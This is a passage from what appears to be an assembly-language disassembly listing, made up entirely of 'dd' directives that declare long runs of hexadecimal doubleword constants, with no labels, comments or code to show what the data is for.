		dd 82CC2BB7h, 378D9AB8h, 9350DC04h, 2CE07505h, 0AF008487h
		dd 5C96D519h, 7858FD69h, 49790E76h, 0CDCE264Bh,	9935DB20h
		dd 0AB003433h, 6D620681h, 48C8F4FBh, 1400DD2Ah,	29BE7A1h
		dd 0EB001811h, 0CB66E450h, 1013708h, 0BD14FECEh, 0E8042A6Eh
		dd 0FB26FC35h, 6D001C9Ah, 3783708Bh, 0D6070096h, 0EF8D8FEBh
		dd 3300AE85h, 0FFEAC2ACh, 0DC409Dh, 0F3E851E4h,	599B822Bh
		dd 3A152A1Ch, 49358DC0h, 1BE2C8Fh, 0A21A0AA6h, 3012F179h
		dd 58018E4Bh, 92FCC82Eh, 39C8D435h, 3AF60036h, 334F0ED2h
		dd 0A035AE6h, 61CF06Eh,	3F7B9902h, 71D6E0EEh, 166B00A1h
		dd 0E926C1F5h, 0C0E3992h, 40D64744h, 0A39FB1A2h, 0FC80015h
		dd 1ED44F6Eh, 940034D3h, 2C63CA4Ah, 0FCC148h, 495ACFF8h
		dd 0F97E2396h, 0FC78C03h, 0C8CDB530h, 78B97C68h, 15E91C4Eh
		dd 9A5303A0h, 0E6D9109Ch, 5276D0C8h, 7CA2002h, 40DCC3C2h
		dd 546ED28h, 0D60BE3B7h, 0A7CE670h, 0F42855B3h,	78269600h
		dd 4C0F20C2h, 642E2A66h, 681D0058h, 90BEA786h, 0B4EBB30Fh
		dd 0C7809F5Dh, 0CACBD253h, 84C9061h, 33DB1206h,	3B94803Fh
		dd 0DEE9EB89h, 0F8690090h, 0C0550947h, 590E77DCh, 0C0B4236Eh
		dd 1E6A21A2h, 0D18700C4h, 0F4124C98h, 4F1771E7h, 7C826525h
		dd 44D387CAh, 0C13A9C30h, 0AFE509A2h, 3880071Fh, 8A232920h
		dd 5A903D00h, 86F52208h, 0E0A2001Bh, 39DEB2E3h,	0C63C59A4h
		dd 0C02D0990h, 99D040F9h, 19CC0026h, 15174862h,	1400F2B2h
		dd 0F43A258Bh, 0F0E0F9A0h, 0B7800EA6h, 5600857Dh, 18D04859h
		dd 9F957A00h, 0E540124h, 55830586h, 0C0AE920Fh,	6544D3E2h
		dd 59A25603h, 0B8CA3FE4h, 0A61D23Ch, 77135AE5h,	0A59D00E9h
		dd 0A2456A39h, 50BF1000h, 0F6B92BB1h, 90C40021h, 0BE3572A1h
		dd 2D1C429Bh, 0FCC1D6h,	9741435Dh, 5883A3h, 9BCDF4F2h
		dd 8927F8D5h, 0CF1C0B02h, 5FF6ED15h, 8065AB40h,	0A0001490h
		dd 642EC41Ah, 12668D48h, 802DED20h, 87816740h, 37B02400h
		dd 63A35DF4h, 7305001Dh, 0A4A77DEBh, 0B0EE83A2h, 44B0E00h
		dd 0E9612958h, 913003F0h, 0F16A20E7h, 9ADF3DA8h, 8E9F6600h
		dd 0F62233Fh, 823700CAh, 0F4422B27h, 64BC857Fh,	2240C61Ch
		dd 4B1C3264h, 947109D2h, 9081BC3Dh, 80E3166Eh, 0DF018CE2h
		dd 8D5C95h, 0EC51F20Ch,	65524415h, 939E6600h, 64DCC4A2h
		dd 95280745h, 0A0EAE199h, 3E072F9Dh, 5F90CF00h,	0E617DC21h
		dd 61861CEFh, 544A80FCh, 8B3080AFh, 553E3802h, 5307EBC1h
		dd 0A7C2003Ch, 0E99DFC36h, 0B500DB90h, 18954DD3h, 8AED1Fh
		dd 0BFF72A20h, 5C35106Eh, 2C0F4FEEh, 8FB46FF6h,	0D4E98095h
		dd 0B594B6h, 1FD3A280h,	97661E58h, 0B91ADF00h, 0B187766Ch
		dd 0F3C1035Ah, 51A27945h, 7CB850E8h, 9EE2E90h, 93627D13h
		dd 7A4BC428h, 6B4C00D8h, 0E3E68FB4h, 2100D2C7h,	28C09D02h
		dd 332C7AACh, 7368691Ah, 88C875F3h, 9D0094A7h, 0B1414792h
		dd 36BCDFh, 8758840Fh, 7285CB57h, 84261499h, 2D7C9E3Ah
		dd 917732C0h, 7BAAB6F7h, 1C8800D0h, 3FB947C3h, 5516019Fh
		dd 0DB009C87h, 675038A4h, 80B70002h, 7D03FD8Bh,	23001F05h
		dd 2FB80BCEh, 61C42Ah, 0EF1530ABh, 641EF3DDh, 5F6D6800h
		dd 9C03B808h, 283409F8h, 0A004A85h, 291712BAh, 0EA8A501h
		dd 0AE42CCCh, 769B3F4h,	2DAFC440h, 0C9B2607Bh, 9F09BEABh
		dd 0A00215h, 217D127Bh,	7FAE005Ch, 6C0D94CCh, 5DE25A53h
		dd 0ADD56B0Fh, 982010Ah, 34E09A66h, 90F53A79h, 70540079h
		dd 7EC5D25h, 0C600ABA5h, 0F30DCFE4h, 0BDF27Ch, 0E0AE16C1h
		dd 0C480F533h, 553FB000h, 0E8655703h, 0BAB1009Fh, 537893A5h
		dd 240032E1h, 2EE5F108h, 0ED56F5Ch, 0F467C420h,	76B1AC20h
		dd 550046B2h, 0A3FCF843h, 0E4D7517h, 0DBE2EAB0h, 0E3C3E7C1h
		dd 0C0F121B3h, 2B026D78h, 0C7E467A5h, 5CF8608Bh, 161A051Eh
		dd 206CC49h, 0ACBDA2EAh, 744024E2h, 9A009424h, 0F232A8DBh
		dd 79F73EBh, 6993467Ah,	8A2F503Ch, 7E58A109h, 0A47A1FCh
		dd 0B7FDC8h, 1A902938h,	9E6DDA4Ah, 241B830Fh, 447380D8h
		dd 43C56h
		dd 4BDB5CCDh, 9C11A799h, 43046EFAh, 290852C1h, 0AC0344C0h
		dd 2EF50066h, 7CADDABAh, 0D4001B18h, 0C208829Ch, 1F793109h
		dd 44B0D2h, 1C2057E9h, 8F009FD7h, 8E8DC4ADh, 0FA1D53h
		dd 78E97787h, 0B6A7F288h, 0BBE1F00Eh, 10BF6086h, 326746h
		dd 0C6C082A0h, 0B4187E21h, 952F2918h, 60AAB8h, 673A9315h
		dd 997E7B36h, 0A1E0CA0Fh, 225B40CEh, 0BB51D9h, 525F5798h
		dd 0B9D491A6h, 611B1F00h, 7673DB0Dh, 6C221C07h,	296B491Eh
		dd 23B1E400h, 0DC001666h, 38367BD3h, 0AF10ECh, 0E5959AD6h
		dd 7E848D85h, 6E830400h, 4ED2C932h, 0B54A05A6h,	3028FC55h
		dd 0C52DFD80h, 9D6C6813h, 1238E800h, 7CDE1C35h,	3DC70091h
		dd 1B01D7B7h, 78004F33h, 4A407CA1h, 0F2F3EE1h, 445D2E7Dh
		dd 0B0BB6E64h, 0E2FA1E34h, 0A5355239h, 404562h,	97466507h
		dd 861215F2h, 4401E8Dh,	0A8FAAE5Bh, 452000CBh, 6DCFCE60h
		dd 0F0F18175h, 170E22D2h, 0E7A6AF7Ah, 6651BD65h, 5CC4CAC7h
		dd 2DEE00CEh, 5B24FC53h, 381D9774h, 0B50017E7h,	0F1952B77h
		dd 0B2DD0061h, 69D186BCh, 0AB0083A5h, 376F7887h, 959EF9h
		dd 261FC28Ch, 0BAF4EFC8h, 503B6D00h, 860BA276h,	0B7709Dh
		dd 725E488Eh, 0C585D359h, 79009273h, 4634C474h,	0DE522Dh
		dd 8E8048E5h, 0D603C5BCh, 652B7200h, 0ECCFB6FFh, 3DD97362h
		dd 481CF205h, 15C04794h, 2D805F0Eh, 1EE141CFh, 0E7AB8E16h
		dd 8985EC07h, 88EE63B3h, 802493h, 391D329Bh, 3CF4DDF7h
		dd 95152717h, 4D5E6207h, 0D33D7E90h, 54A50ECEh,	8006AD4h
		dd 982C8299h, 56002D7Fh, 2148391Ch, 708CDA4Dh, 29BB00FDh
		dd 0CD095F4Bh, 0E6000DCCh, 1CEEFFAAh, 1330D87Bh, 801E56E0h
		dd 0F40587F0h, 57B5E303h, 8851E908h, 75350B2h, 0B065F085h
		dd 2A0C3F1Dh, 0D0000A48h, 64147FF5h, 0E2E09041h, 2E091407h
		dd 50018BC9h, 117F0603h, 0CF9FC432h, 0A1530B00h, 6B8FA82Ch
		dd 0AEB124B8h, 0E83A0132h, 801BEDABh, 0E1105489h, 7F96DFCh
		dd 17B16E55h, 0B998C0E9h, 0AF0EF703h, 0E0FA9C33h, 0BA5148C3h
		dd 0B8B31C36h, 1D80C0BCh, 3B9F6D73h, 0E9F98300h, 215D2AFBh
		dd 47AF870h, 41A952CBh,	9DB88056h, 2AE2FA0Fh, 9B5F6901h
		dd 83D3FC5Eh, 661F3C41h, 9109DFCh, 77CFD70h, 0F513B0D8h
		dd 0C0B0A131h, 598A007Fh, 293C7D4Dh, 472438DAh,	803F167Ah
		dd 266C5177h, 60E6E3F9h, 5914BCEBh, 9B1CF366h, 29C046BEh
		dd 68E9A35Fh, 0DE9E07BBh, 808EB9A9h, 923A6DE6h,	0B4BDA400h
		dd 4EF02A87h, 0C7AC000Eh, 9F4F39CDh, 0D50047EBh, 0ED95EF12h
		dd 734B3E1h, 0D6063507h, 5913E71Ch, 0F70018F0h,	4EE1176Ch
		dd 1361AA8h, 41021ECEh,	53147ED2h, 0FE8051BCh, 1300A92Bh
		dd 2A025A0Ch, 9A655E9Fh, 734204C4h, 80201936h, 1D9BB7EDh
		dd 0CFFE7101h, 1C15983h, 1E86A9DCh, 0C736FC9Ch,	0F6AD04EEh
		dd 6A3C8020h, 72BF8239h, 0F06955ABh, 3158C0F4h,	0CE4E9C2Eh
		dd 7A8D290Fh, 0B5A0E303h, 6236885Bh, 43530630h,	202FB761h
		dd 80F87038h, 1C0EFFC1h, 5234F67h, 654C41DCh, 6D4EC175h
		dd 7769C007h, 0F7B6339h, 0C010ED22h, 0E83B99BCh, 1CDCFC86h
		dd 0F3E0DF7Ah, 14F83F20h, 17003D70h, 0DE12C1E2h, 51C0729h
		dd 0F0166A98h, 1EDA00AEh, 1966637Eh, 0A3BD8C1Eh, 0D73C8340h
		dd 0FEBBB296h, 0CF110EA1h, 12032FA9h, 608826B9h, 46005A65h
		dd 0B88E7574h, 71178AD2h, 386EEA0h, 7E3F8B0Eh, 87B08281h
		dd 9907F404h, 0B43BD007h, 70C028F0h, 9E6A014Ch,	31CEAC5h
		dd 7A98C3FBh, 0EB0DF27h, 3B50E100h, 1E6526Ah, 0ACEC28BAh
		dd 0FFC203BEh, 84CAD01Bh, 36054EC0h, 3565F900h,	0E4FCF6A1h
		dd 0F1890087h, 0FAF3C8EEh, 0D3005AAFh, 910A4E3Fh, 0C3A678h
		dd 4C5C0CE2h, 431A859Ch, 0F5115113h, 3AC03900h,	5D84DFh
		dd 6148ED7Ch, 0F90C3164h, 11FE3E00h, 0E28842ABh, 0C8CD26FBh
		dd 177008Ch, 0ADEE271Fh, 70008EF0h, 885349F3h, 216061h
		dd 0FDB6C005h, 0EB28E604h, 3F1B1C00h, 55B94B1Eh, 97D60788h
		dd 50D79D69h, 0E9FA2502h, 9000E5FEh, 7A2B093Dh,	38141831h
		dd 0AA800CD9h, 588AB51Fh, 0B7393BABh, 850E0074h, 52916E9Ch
		dd 2A560088h, 316132DFh, 7F00B078h, 0E92079F9h,	0A19A9h
		dd 15DE1EF5h, 0A828C7E8h, 80E2FA3Fh, 5865E34Eh,	0FC951F89h
		dd 72BEA12h, 4FCB0F51h,	0F32CA0DEh, 8D07BD87h, 8B17C736h
		dd 0AE73A260h, 2A4F302Fh, 815982A8h, 8858BC18h,	7A94648h
		dd 830FF94Ah, 1DD2205h,	42B082E3h, 28000A78h, 9FD5BD75h
		dd 3EC40240h, 80873420h, 30A1CFC5h, 0BE3105B2h,	0A7CD3D1Eh
		dd 0AF2FD2C0h, 0F2CA5F03h, 0FC4C0050h, 7B6FDA44h, 6B01C2F1h
		dd 753A12A5h, 9A401C6Ah, 748DCCA0h, 187A1E97h, 4DF0C85h
		dd 20013B20h, 1CCE11DBh, 60D2EB5Ch, 7D639230h, 62870032h
		dd 94A08AB3h, 0F80FAE0Eh, 1F8BE0DCh, 7D82D240h,	0A7E42072h
		dd 0CCC5C038h, 7E0359BAh, 0EA78F432h, 0F7C2A86Dh, 6E740664h
		dd 301F337Bh, 9BD060DEh, 9EDEA5C7h, 0F8CEC0E7h,	44CBE240h
		dd 9DBE006Ah, 0D51662D8h, 0E0BDC94Ch, 4B4750h, 1BA08817h
		dd 7C60659Fh, 0FB2A7100h, 0C73790DAh, 1A72074Ah, 0C07835FAh
		dd 0C66B7C96h, 88DF777Eh, 0CE9365C0h, 0F472888Ah, 70630C83h
		dd 3B21D43Ah, 0BB652107h, 0A0EE3096h, 0E842CBC2h, 854E0151h
		dd 0DAD6FE8Bh, 1E68802Dh, 0C85C15FDh, 0CA4303FFh, 95ADE072h
		dd 59A0BBA3h, 0DC5C2523h, 4CC003Ah, 0EC75F64Dh,	0AE07002Ch
		dd 2BF7848Dh, 350093CAh, 5313378Eh, 3C103EF0h, 3400577Eh
		dd 0E5D80D3Dh, 997C2F70h, 0FD0F817Bh, 7F9763h, 0E840419Ch
		dd 414036Ah, 5D217135h,	0AA2D7D98h, 0F81363Eh, 0E19A012Bh
		dd 11A62390h, 279B60D6h, 0C645005Dh, 0D9849E06h, 0B6015A4Eh
		dd 9A6E8E68h, 0C6206F02h, 98C30074h, 8F292260h,	2A0EE4E8h
		dd 3AA899Dh, 0E80719B4h, 39CCCA14h, 0A90001E2h,	6283724Ch
		dd 4000A796h, 0DA5E3666h, 908699B7h, 0CAFD0324h, 3AB5AFB2h
		dd 0F61FC0EFh, 653E159Fh, 7AED8319h, 0C0270C2Fh, 38424718h
		dd 550FE738h, 0BD604C86h, 9901D7E8h, 0F12F7301h, 1B4FBAC9h
		dd 933730h, 0CDB3FD9Dh,	0A03A8E9Fh, 0A7F31A00h,	886B74Dh
		dd 3E9A7D84h, 0F982F745h, 30A115A5h, 0B627A860h, 98C7EB07h
		dd 61C0A814h, 31873F2h,	0DCD93B0Dh, 0D7B011B1h,	2C0E12B6h
		dd 22797CD6h, 0C06A5180h, 183FE719h, 5022CAC1h,	4B009DF2h
		dd 0B04918E8h, 4C26AABh, 0D11E8994h, 9923801Dh,	0CC00E563h
		dd 0ABFBAE4Fh, 29F6F37h, 41E15354h, 56E0E95Ch, 5600A774h
		dd 758D9C07h, 4BF951h, 94E59ABDh, 95571018h, 9021A300h
		dd 9F3CFE8Eh, 33DFCC2h,	385DC78Ch, 75A82FDEh, 85003F8Dh
		dd 1C3143A4h, 4AF5401h,	0B5DAA70Bh, 9287C361h, 48D212F0h
		dd 9645F600h, 94DBC05h,	0FA94007Fh, 27C254E4h, 8E003881h
		dd 20BA6E61h, 0E58B4Bh,	0B936CAA8h, 4E4523Ah, 7696A00Ch
		dd 5E18866h, 9B93BA45h,	55D1C0FDh, 4005DC8h, 36995423h
		dd 0E0852Ch, 0F4E1D843h, 76F3131Dh, 7C00037Dh, 0C916093Fh
		dd 0DB846Fh, 8C9E737Dh,	0DCE25AA1h, 0FFEBB500h,	0E8F160CFh
		dd 7ADF00DEh, 1D8C6C76h, 83007345h, 4750B922h, 0F815653Bh
		dd 66AF0052h, 0B285D84Ch, 6800584Bh, 9BFF51A5h,	7EB66935h
		dd 384C3AADh, 0A3836580h, 0A6B28FCh, 14F0055Ch,	3DC1E7Bh
		dd 0D477739Ch, 6332E804h
		dd 47E40011h, 9A695FC4h, 1D245C7Ah, 3B004492h, 8E273FE3h
		dd 0EA340E2Eh, 0AB60C65Ah, 0EC72B36Eh, 80D36F3Eh, 0DB3FA254h
		dd 39CE29FAh, 7AA69Fh, 8E632150h, 5112C6D5h, 75588890h
		dd 300900C6h, 3997F69Eh, 474F00BBh, 24A75F31h, 67001259h
		dd 5C76C1D2h, 19D8CFEh,	0C53A7843h, 81D852A2h, 0BCA6D408h
		dd 59FC6598h, 0A4B548CBh, 10FB300h, 0B8C52CF6h,	221AC000h
		dd 0B78A906Ch, 3F0200ABh, 55CB9CB1h, 15004F9Bh,	0C50E1433h
		dd 1BD9EBh, 56AD3647h, 0D17E790Bh, 0D76D8500h, 42068EABh
		dd 0E789075Fh, 0A0957521h, 9EDB099Ch, 0BD0A3F00h, 0E3D7A8B4h
		dd 88020067h, 0BB2E6683h, 6B00B5E0h, 79864C3Ch,	7FE7D307h
		dd 9A083020h, 6891D220h, 85895403h, 80AE6A43h, 0C56E8Bh
		dd 9C3F994Ah, 1CE21F81h, 89EEE400h, 23164483h, 0BDC00BA4h
		dd 89F5FE25h, 97807F09h, 650CD43Dh, 2635F60Fh, 28B7838Ah
		dd 8D4AC9DCh, 7FE1BC34h, 815303A4h, 21301B93h, 15B0D7F3h
		dd 8D1C3BA8h, 5FC12EBCh, 7A09E37h, 7D190F0h, 0D952CEF2h
		dd 7A981112h, 0EC9831B0h, 83E2ABCBh, 0E8E6C9F3h, 66009E22h
		dd 1F03BF60h, 342FC3h, 18391509h, 7E28CA50h, 0A27B9DF6h
		dd 391B8448h, 5FF29C36h, 0FF254080h, 0EDD6E4Dh,	0B00A643Fh
		dd 930E7A0h, 7700E092h,	9A673207h, 1CDEF5A5h, 40D53A1Ah
		dd 0EB3534AAh, 1676C739h, 4F888200h, 21DD2799h,	0E01D0006h
		dd 56B013D1h, 320FDAE2h, 0A0DFE688h, 0BE8E0311h, 362C0740h
		dd 8025F9FAh, 0E97A8F7h, 39309F1Eh, 20F6B9CCh, 0A57B1C03h
		dd 176C8042h, 0D41FFFC3h, 4E04557Ch, 2665F72Fh,	994D54C0h
		dd 0FDB00CBh, 63558C51h, 31E41ACh, 1A40965Ch, 0B344FAE8h
		dd 77390002h, 8F826BCAh, 2B001F23h, 2A632597h, 328C7Ch
		dd 57301134h, 2D2FD709h, 752FE26h, 5D709C05h, 0AEAD9C0h
		dd 0DFEAFh, 52400966h, 88E52407h, 3786CA00h, 1C658E3h
		dd 955C00BBh, 2ED208AEh, 3A3B7F33h, 6BE40007h, 203FBE05h
		dd 0E09E00FCh, 4CE1F6F3h, 31EAFD2Dh, 2A795313h,	0A1551840h
		dd 6002CCh, 3D4F66D6h, 9EDC9689h, 0DEA73A00h, 0E71E75F1h
		dd 9D330060h, 0A4048E0h, 0C0014C3h, 5935D9E6h, 0B9050E8h
		dd 3D93BE0Bh, 9B413101h, 9608952h, 71D400CBh, 1784E8Fh
		dd 0CE44027Ch, 0ED17D469h, 42898754h, 19E401h, 62134A68h
		dd 3612006Fh, 2746F074h, 6B982CC0h, 0F818F3F8h,	0A21033D6h
		dd 23F0BAh, 0AE752A93h,	66A66DE5h, 0BF9F100h, 0B6D1A128h
		dd 79830067h, 1D37073Fh, 42000449h, 86B8CB8Dh, 18AD8AEDh
		dd 89466AEFh, 3000E076h, 4A3EF407h, 3C09DE97h, 360908C3h
		dd 8807B2Ah, 0BFC8D286h, 2E61187Ch, 0A0A1D1E9h,	0FBE01C61h
		dd 0EF22003Dh, 0AEACD59Fh, 0DC18B289h, 4121B724h, 90A486h
		dd 75572F67h, 7782F269h, 0ED5C39h, 2E43CDDh, 1A3DE29h
		dd 5997B7Ch, 0C1BC2B07h, 0CEE48141h, 101A4284h,	331A4D4h
		dd 36FDE1CDh, 5E90F54Ch, 0A100E924h, 0CCA59F2Bh, 490B054h
		dd 0E42DCE6Dh, 2F80AFFCh, 986A69ACh, 4DE30024h,	532494CAh
		dd 0EC02929Ah, 0B9BEDBAEh, 0B8805FF7h, 0BDCC1A26h, 513CDC12h
		dd 0DDE100EFh, 3717976h, 0BD1A260h, 1E4FEE8h, 3CFC961Dh
		dd 0EC21E313h, 52EEE929h, 0C633F8A8h, 39A9E600h, 4E7DF8D1h
		dd 0CAA3005Bh, 0DBFCE3B0h, 2C069850h, 600618C6h, 7C940058h
		dd 3B8EBA63h, 0BE00A4B9h, 0DD4C135Dh, 2B4430h, 971F7139h
		dd 0AFF07063h, 10117F00h, 3725E691h, 31C6006Ah,	0C91997B6h
		dd 51005DADh, 669D8778h, 20FFF9h, 5CBA36A6h, 990DD9Ah
		dd 245E2C3Bh, 8201F5B1h, 0E7836926h, 0B8E35021h, 7D2434Dh
		dd 0F2283EBEh, 2C11088h, 0C7008412h, 24A88D2Dh,	41B4F4h
		dd 35B31DE6h, 231EA22Fh, 930092F0h, 0B8E8DF54h,	0CA9B6Fh
		dd 0F4FE7A6Ah, 1B905E5Bh, 351E511Eh, 0B5E2BD80h, 233076h
		dd 26B07EF1h, 4FF93A77h, 0EA393261h, 85F048DBh,	0DF89003Ch
		dd 0FFD1F1F4h, 0F4E1E48Ch, 991A93FDh, 80308494h, 7A598237h
		dd 0B9AA4885h, 71EA800h, 93D6BA34h, 0EB158F00h,	0C117675Ah
		dd 0D7FC00D9h, 141958D8h, 7F00CC2Fh, 0B03541A1h, 37152D2h
		dd 0E030F42Bh, 600290CAh, 59875475h, 0E94FC0AEh, 9650023Fh
		dd 4049E27Eh, 3A1935C0h, 53806F61h, 0D330F6h, 6D185038h
		dd 28CC9736h, 0D3727AEAh, 863E3F00h, 69B7AC56h,	514C1846h
		dd 0FCEE3094h, 1DC703Eh, 6192F6A6h, 63E80B42h, 6049608Ch
		dd 20043006h, 0EB2F9E03h, 0D0F5EDB2h, 7D8C543h,	0BF325951h
		dd 0E0DC4745h, 407C2263h, 386CFB00h, 42E48875h,	60BD00F5h
		dd 0AEC470E9h, 0C2007C43h, 97D3D2FBh, 13F28h, 0B4811775h
		dd 0E1166FCBh, 6D438E00h, 39E28C2Ch, 77208h, 0DDA898B5h
		dd 6B508914h, 0BB029F76h, 0AF421228h, 0F05560CCh, 902E010Ah
		dd 408B24E5h, 8912C427h, 0CA0AC47Dh, 20D90581h,	8CF4CB58h
		dd 80225C3Fh, 1883F599h, 8D288Ch, 0D2FC2E1h, 53844427h
		dd 0F9BFA23Ah, 3261931Fh, 6C374203h, 5B490B6Fh,	0D08AC4B2h
		dd 691D99h, 6774229Ch, 0DC79C5B4h, 984E571Eh, 8E5FDA81h
		dd 77209672h, 50E87Dh, 7FB53B4Fh, 0A0140D07h, 0BE75FB01h
		dd 7A33C357h, 0DF6E0E60h, 39CDDF28h, 13E8D01h, 4080C295h
		dd 0F29A89A4h, 726ADF03h, 0AD7D99B1h, 8359A800h, 0B025BE12h
		dd 0C194000Bh, 47376478h, 0F1605ECEh, 46DABBB8h, 28DE8B7h
		dd 0A28675F5h, 80B38C67h, 1A732DF0h, 405C9023h,	0E2AD6EB8h
		dd 0DC8A9602h, 838726E0h, 0FA8C53ACh, 0BEF0A077h, 0DD4AD0h
		dd 0ECB96D67h, 452D726Bh, 0C700D277h, 0CBC95127h, 3056836Ah
		dd 44E05038h, 0F400C8CFh, 0E5DAEC85h, 0A126A5Bh, 86284CFAh
		dd 707E0180h, 4E3F9E06h, 90293A20h, 8A80EF3Dh, 0B9B51598h
		dd 723E3C3Eh, 0A712AF02h, 80C8E1B2h, 0DB8B96A4h, 0F107032Dh
		dd 0D50E7661h, 9830E47Ch, 0B250207Ch, 0CC3E0036h, 8B2FAA70h
		dd 610021B7h, 8DE5D16Ch, 0BEE155h, 146ACDA8h, 0CC44AA2Eh
		dd 0B2A1930Eh, 0CFBB6FDDh, 8C55E21Ch, 8E544034h, 49E40036h
		dd 67C37C0h, 433F0A77h,	960C80C7h, 6D7505A4h, 1DB30ECAh
		dd 0B6A0FFD3h, 13C214FAh, 89272400h, 7490A9Fh, 0D0030FB2h
		dd 35E8D3Dh, 4C5866AFh,	0FB9D2C98h, 0B200D378h,	45BD6C1Ah
		dd 18179943h, 0D869FECEh, 0C50002B7h, 86033E85h, 0BABF5Ah
		dd 0A6063657h, 37545E2Ah, 0D6D25501h, 615BF389h, 4F60F20h
		dd 1BF53B4Dh, 146C90BEh, 0FA079439h, 0AF384259h, 92705347h
		dd 61770B6Ah, 0C1D1385Fh, 0EC73EC28h, 1CA3DD00h, 0B793DCD5h
		dd 6FFD2AC9h, 63D200B4h, 0F8D79E04h, 62067821h,	0E17F89B3h
		dd 85480068h, 1158E53Fh, 0A63D0CAEh, 74EF00F5h,	362507E9h
		dd 24280046h, 0EEE8EDD8h, 0F8004EB1h, 0CAD41F15h, 7E59090Eh
		dd 514903A2h, 9DC763E4h, 1BACEC0Eh, 80CA6EB2h, 0CEB7C3FAh
		dd 962300BBh, 8B4FD095h, 2B372F0Ch, 9E30F8h, 961AEC36h
		dd 531E007Fh, 665CBD10h, 63E958Bh, 29045225h, 0D1560CE0h
		dd 45A11808h, 9BE2C035h, 0B4345800h, 2C435E99h,	8B70AE7h
		dd 40C9E48h, 445C672Ah,	6621A437h, 42DF0862h, 9B0E0841h
		dd 0BCEE8451h, 909A4E6Ah, 6CAFF382h, 108FA222h,	24A0AD4Fh
		dd 1184853Eh, 10593A20h, 21829C46h, 12226F09h, 2A5A1032h
		dd 0ED6E0CA1h, 0F5C31350h, 2FFA3004h, 843C421h,	23374036h
		dd 0B6339314h, 0DB9B00FCh
		dd 354303A0h, 11202A2Ch, 0DED800A8h, 2283A7A9h,	1A3B0A89h
		dd 0B8982806h, 5ED00900h, 0A9D515DAh, 0F0460A23h, 0C03C3Fh
		dd 4E7CED7Fh, 0C4487716h, 484C0214h, 482ED97Eh,	3A97848h
		dd 401B35DBh, 89DB854Bh, 0F82DDAC1h, 61960FAh, 1408452Ch
		dd 752220ECh, 0E4E0F4h,	8061FBA6h, 3EB6090Ch, 154D8E15h
		dd 8438094Ch, 0E140209Dh, 0F2EF8521h, 116E00C5h, 345AEC9Eh
		dd 807AF0E2h, 16B7DD00h, 89F57C9Bh, 0A3EE0042h,	5BB29D08h
		dd 0B6006432h, 2475139Fh, 2E86C28h, 0EB8BCE6Ah,	1CB1B8D1h
		dd 0A2281A0Ah, 1DB5E0BBh, 8078F3D5h, 3FFDDBA7h,	0B12B41F6h
		dd 67E0C092h, 891E6Ah, 0D2379046h, 39C5DABFh, 47148051h
		dd 9DDF61C0h, 7346E021h, 8486E50Fh, 0F7B020B6h,	3A6830E9h
		dd 15A99FCCh, 5D58005Ch, 1D56D6Ah, 0F10082EAh, 9DC1DA7Fh
		dd 24B45399h, 1313A1h, 48372176h, 0D809C751h, 81420259h
		dd 927445CDh, 9B7C024h,	0E6408584h, 0D7D1B400h,	0D43BE25Fh
		dd 34C48CA6h, 0CB298Ch,	7144969h, 0E0DED5FEh, 84BCD81Ch
		dd 58A3CE4Ah, 0ABED115Eh, 901FA8FEh, 34C855Ch, 0E097CD09h
		dd 90AECEA0h, 0F4C39400h, 2ED0D5D7h, 0BC95589Fh, 128DC701h
		dd 608B1A97h, 409A8ABFh, 0A3231D07h, 0DBB30E8Eh, 7B313822h
		dd 9BFFE283h, 9890E8B1h, 83ECB70Bh, 0EBB4F904h,	748C2D36h
		dd 0EF192134h, 0F45A78h, 7754A0E7h, 0D9845C20h,	0D101F0FCh
		dd 96193F92h, 40D21015h, 805ECFCCh, 0F49AD467h,	0B9C6801h
		dd 0C023D010h, 7E1C8050h, 0F34F0151h, 61C947E7h, 0F0AC4AF5h
		dd 478E5Ch, 4DEAAD63h, 879143F5h, 0A0942A48h, 937FB061h
		dd 461682D4h, 44BF2EE3h, 84884D8Ah, 58499D80h, 0F1D5F3EAh
		dd 6B800433h, 0A0EAFB0Ah, 0BBA3A601h, 6A4D4A6Ch, 12AE35C0h
		dd 3A0165BDh, 0DC4524E8h, 54CAD0h, 30860E8Ah, 81B71FE7h
		dd 0DEE97B26h, 0C0847E15h, 991D01Ah, 4CB72802h,	93E801A0h
		dd 0B05D55Bh, 0AC0F456h, 4D4B4E07h, 9EAFD4EEh, 5E5DA880h
		dd 39E86B6h, 3766E846h,	81001BC0h, 94B0A106h, 10B82D9h
		dd 67E6E916h, 306DB64Ch, 81220664h, 0FE820012h,	56156B6Ah
		dd 0E6F4F1D6h, 64885224h, 7DB18955h, 0F5F008B0h, 0EF4E2C05h
		dd 8313FF64h, 348D7000h, 74099097h, 22BB3EE4h, 570CE124h
		dd 216AEB00h, 9D65356h,	4F58C6B8h, 9F180421h, 83E7C401h
		dd 84B7E05h, 0FC2AEE5Dh, 0EBA68CCFh, 690AC823h,	0F40D8381h
		dd 3650D680h, 38F1743Fh, 8052EBAFh, 2CEF909Eh, 20F42803h
		dd 0E8997EAFh, 0C08090C8h, 0EA4DE712h, 18204C07h, 2FFF1101h
		dd 0BC8D6FEBh, 10E03630h, 10956048h, 54127C71h,	2831C463h
		dd 0C75BD932h, 3BB0118Fh, 3FBE264h, 168115AEh, 3C3C578h
		dd 0A03031FCh, 600E62E9h, 3961B920h, 34225F38h,	61E94021h
		dd 337174E5h, 427020h, 0C68F648Ah, 0CFC5F85Eh, 892BC800h
		dd 61063CCEh, 9C53555Dh, 0B3570C50h, 9D84A020h,	401B6E84h
		dd 6CBFA001h, 6E9C70A5h, 0A8C5E904h, 90228Dh, 134BB78Eh
		dd 19EB11h, 141DE0F8h, 0BF06846Eh, 548E1395h, 37BC02A0h
		dd 589FB7A7h, 0CDD5E4A0h, 90A8AE0Ah, 90932325h,	0B69DF484h
		dd 639448C0h, 0E24C984Ah, 15C8A4AFh, 0DC16DD96h, 13E3F301h
		dd 7012D162h, 97248704h, 9101DFD7h, 0A3E91E6Bh,	0CDE73440h
		dd 590E3015h, 8824A088h, 8BC0F601h, 0EA191290h,	7DD53188h
		dd 8F0DCB03h, 241FF85Ch, 489F6F45h, 7108843h, 59B48006h
		dd 31CE04h, 914952B7h, 0AB7A2E44h, 0C85CC728h, 6C7DB1F0h
		dd 0E03988B2h, 66A20305h, 914F7C56h, 1081FDE6h,	76FCF9EBh
		dd 0DD0FCD8h, 426B49C0h, 29721C6Fh, 220988Eh, 9E0997E5h
		dd 2DC1188Eh, 4D8F4B7Ah, 84589D14h, 2B801469h, 321C6EE8h
		dd 118D1298h, 30401145h, 70A3C984h, 0E23890Bh, 3917A511h
		dd 738E8585h, 77A49C38h, 10198BB0h, 23222332h, 38523942h
		dd 9D562ECBh, 43240830h, 0ABC7D9h, 9752101Eh, 0FBEFBE01h
